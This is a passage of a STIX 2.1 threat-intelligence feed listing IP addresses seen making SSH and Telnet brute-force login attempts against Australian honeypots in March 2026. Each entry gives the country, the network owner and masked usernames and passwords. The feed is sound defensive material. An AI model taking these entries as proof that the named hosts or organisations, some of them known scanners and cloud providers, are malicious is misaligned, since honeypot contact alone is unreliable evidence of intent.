      "valid_until": "2026-04-08T14:15:11.000Z"
    },
    {
      "created": "2026-03-07T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 23584. Organisation(s): PUSAN CABLE TV SYSTEM CO., LTD..",
      "id": "indicator--f7ded307-511f-49f2-b443-feaa0438a5cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.116.216.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T14:15:14.000Z",
      "valid_until": "2026-04-08T14:15:11.000Z"
    },
    {
      "created": "2026-03-07T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20115. Organisation(s): Charter Communications LLC.",
      "id": "indicator--3cf00a01-8079-47b0-8d7d-1414260f4013",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '24.176.173.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T14:15:14.000Z",
      "valid_until": "2026-04-08T14:15:11.000Z"
    },
    {
      "created": "2026-03-07T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--288579ea-01df-4841-a44a-ac70111abaf1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '4.185.141.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T14:15:14.000Z",
      "valid_until": "2026-04-08T14:15:11.000Z"
    },
    {
      "created": "2026-03-07T15:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): u***5, 3**********4, d***d, m****l, m**g. Passwords observed (masked): 1****6, 3***********4, 3**********4, M*****3, P******d.",
      "id": "indicator--cea66a6d-84f4-4148-a7ca-fa7fd73160d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.76.120.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T15:15:09.000Z",
      "valid_until": "2026-04-08T15:15:07.000Z"
    },
    {
      "created": "2026-03-07T15:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): t*****3. Passwords observed (masked): t*********s.",
      "id": "indicator--62df1efd-6a6d-4d62-aecb-ed20ef26c1a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.162.151.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T15:15:09.000Z",
      "valid_until": "2026-04-08T15:15:07.000Z"
    },
    {
      "created": "2026-03-07T15:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 269810. Organisation(s): SM COMUNICACIONES S.R.L.. Usernames observed (masked): ***. Passwords observed (masked): D*****!.",
      "id": "indicator--6eb937f3-7686-430b-b673-d135320921de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '131.255.240.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T15:15:09.000Z",
      "valid_until": "2026-04-08T15:15:07.000Z"
    },
    {
      "created": "2026-03-07T15:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): f*******e. Passwords observed (masked): *.",
      "id": "indicator--42be73d1-698c-4919-baf9-6e461fcf0a5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.116.156.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T15:15:09.000Z",
      "valid_until": "2026-04-08T15:15:07.000Z"
    },
    {
      "created": "2026-03-07T15:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, a***n, p******d, r**t.",
      "id": "indicator--99bdcec7-0269-49d1-8d33-24588fbd04e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.110.171.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T15:15:09.000Z",
      "valid_until": "2026-04-08T15:15:07.000Z"
    },
    {
      "created": "2026-03-07T15:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4685. Organisation(s): Asahi Net.",
      "id": "indicator--88d57799-622a-4215-a426-04d3bc4a9e96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '150.9.199.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T15:15:09.000Z",
      "valid_until": "2026-04-08T15:15:07.000Z"
    },
    {
      "created": "2026-03-07T15:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): f*****r, 3**********4, c****e, f******r, j***e. Passwords observed (masked): 1***5, ***, 1****3, 3***********4, 3**********4.",
      "id": "indicator--d0dc66df-1c8a-4364-b2cc-1132ef92de67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.185.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T15:15:09.000Z",
      "valid_until": "2026-04-08T15:15:07.000Z"
    },
    {
      "created": "2026-03-07T15:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--ba46e126-5ec7-4a7b-abfe-393ec84e1803",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.69.204.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T15:15:09.000Z",
      "valid_until": "2026-04-08T15:15:07.000Z"
    },
    {
      "created": "2026-03-07T15:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--2df27012-fdac-407d-a868-ef0f12991db2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.14.72.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T15:15:09.000Z",
      "valid_until": "2026-04-08T15:15:07.000Z"
    },
    {
      "created": "2026-03-07T15:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): g*****n, 3**********4, **, b***n, d**l. Passwords observed (masked): 1******8, 1******2, 3***********4, 3**********4, A****!.",
      "id": "indicator--609910ae-2a7c-4ba7-a3d3-71b4a1193555",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.83.187.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T15:15:09.000Z",
      "valid_until": "2026-04-08T15:15:07.000Z"
    },
    {
      "created": "2026-03-07T15:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): t**t, 3**********4, a***a, c***r, d*******r. Passwords observed (masked): 1**4, ***, 1***5, 1******8, 3***********4.",
      "id": "indicator--0cc138b1-3424-4cfe-8ea7-3d3ba2e4e4bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '52.183.128.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T15:15:09.000Z",
      "valid_until": "2026-04-08T15:15:07.000Z"
    },
    {
      "created": "2026-03-07T15:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IQ. ASN(s): 210513. Organisation(s): Masarat Al-Iraq Information Technology Co., Ltd. Usernames observed (masked): ***. Passwords observed (masked): ***.",
      "id": "indicator--8dc6f98d-cdd1-4920-bc95-fa4f7229d7a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '62.3.56.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T15:15:09.000Z",
      "valid_until": "2026-04-08T15:15:07.000Z"
    },
    {
      "created": "2026-03-07T15:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--0fcf1351-3e10-4aec-89e2-58b8229fa157",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.167.169.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T15:15:09.000Z",
      "valid_until": "2026-04-08T15:15:07.000Z"
    },
    {
      "created": "2026-03-07T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): u****u. Passwords observed (masked): a****y.",
      "id": "indicator--2436f9ec-52d4-40aa-9afa-40dfd8c63e1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.8.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T16:15:13.000Z",
      "valid_until": "2026-04-08T16:15:11.000Z"
    },
    {
      "created": "2026-03-07T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): d****e, 3**********4, a*****w, c**y, r**t. Passwords observed (masked): ***, 1**4, 1***5, 1****6, 1*******r.",
      "id": "indicator--13ee20fd-0850-40fc-83c8-c55534013b00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.217.188.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T16:15:13.000Z",
      "valid_until": "2026-04-08T16:15:11.000Z"
    },
    {
      "created": "2026-03-07T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): r**t, a***n. Passwords observed (masked): k*******************S, r*******4.",
      "id": "indicator--0429c3d9-f6b9-4882-92ed-992fac1f934a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.56.117.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T16:15:13.000Z",
      "valid_until": "2026-04-08T16:15:11.000Z"
    },
    {
      "created": "2026-03-07T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): d*********n. Passwords observed (masked): d*********n.",
      "id": "indicator--612946e9-ffe8-4d51-af2a-10bda1f89edf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.37.160.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T16:15:13.000Z",
      "valid_until": "2026-04-08T16:15:11.000Z"
    },
    {
      "created": "2026-03-07T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3c7ac580-bd53-4fcf-aa95-d5d8936cd3b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T16:15:13.000Z",
      "valid_until": "2026-04-08T16:15:11.000Z"
    },
    {
      "created": "2026-03-07T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--58fde87b-a746-404f-87c4-40500a76dc22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.44.114.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T16:15:13.000Z",
      "valid_until": "2026-04-08T16:15:11.000Z"
    },
    {
      "created": "2026-03-07T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 9824. Organisation(s): JCOM Co., Ltd..",
      "id": "indicator--75f9f942-e8e0-4779-b922-9f981398594a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.137.233.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T16:15:13.000Z",
      "valid_until": "2026-04-08T16:15:11.000Z"
    },
    {
      "created": "2026-03-07T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58542. Organisation(s): Tianjij,300000.",
      "id": "indicator--5f2a8517-f237-4a6b-93c9-a42dddbeb1eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.81.143.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T16:15:13.000Z",
      "valid_until": "2026-04-08T16:15:11.000Z"
    },
    {
      "created": "2026-03-07T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): s*****r, u****2. Passwords observed (masked): 1***5, s*********s.",
      "id": "indicator--787abd30-4d04-4cc5-98de-549c583db89f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.59.94.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T17:15:13.000Z",
      "valid_until": "2026-04-08T17:15:11.000Z"
    },
    {
      "created": "2026-03-07T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--8a0f85f6-15e9-4e45-84aa-e4a4ab9acfea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T17:15:13.000Z",
      "valid_until": "2026-04-08T17:15:11.000Z"
    },
    {
      "created": "2026-03-07T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: TR. ASN(s): 206119. Organisation(s): Veganet Teknolojileri ve Hizmetleri LTD STI.",
      "id": "indicator--b88e85d4-afd5-4942-a2db-92db3d3819a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.233.247.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T17:15:13.000Z",
      "valid_until": "2026-04-08T17:15:11.000Z"
    },
    {
      "created": "2026-03-07T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c1583308-06cb-4745-83be-7630f1bcb62d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T17:15:13.000Z",
      "valid_until": "2026-04-08T17:15:11.000Z"
    },
    {
      "created": "2026-03-07T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 52507. Organisation(s): Pampacom S.R.L.. Usernames observed (masked): r**t, 3**********4, b*****r, g*****a, n**e. Passwords observed (masked): p******d, 1****6, 1*******., 1**********c, 3***********4.",
      "id": "indicator--c848df17-d63f-4567-a2c9-32ef89d27468",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.210.60.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T17:15:13.000Z",
      "valid_until": "2026-04-08T17:15:11.000Z"
    },
    {
      "created": "2026-03-07T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: AF. ASN(s): 45178. Organisation(s): TELECOM DEVELOPMENT COMPANY AFGHANISTAN. Usernames observed (masked): a***l. Passwords observed (masked): 1***5.",
      "id": "indicator--730fa3d1-8105-426b-bb4b-cb299464f22a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '74.118.81.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T17:15:13.000Z",
      "valid_until": "2026-04-08T17:15:11.000Z"
    },
    {
      "created": "2026-03-07T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--54be8499-252f-4106-b009-23df160be1fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T17:15:13.000Z",
      "valid_until": "2026-04-08T17:15:11.000Z"
    },
    {
      "created": "2026-03-07T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--40e0308d-8981-4583-9c93-6c071663b6b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T17:15:13.000Z",
      "valid_until": "2026-04-08T17:15:11.000Z"
    },
    {
      "created": "2026-03-07T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--0896d7a9-ae51-4279-9ae1-934da0307893",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T17:15:13.000Z",
      "valid_until": "2026-04-08T17:15:11.000Z"
    },
    {
      "created": "2026-03-07T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--c7073241-21a3-4f93-a6ec-0052e76f4898",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T17:15:13.000Z",
      "valid_until": "2026-04-08T17:15:11.000Z"
    },
    {
      "created": "2026-03-07T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--ee9589df-218e-469d-9f2d-30b74af3acfd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '189.78.185.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
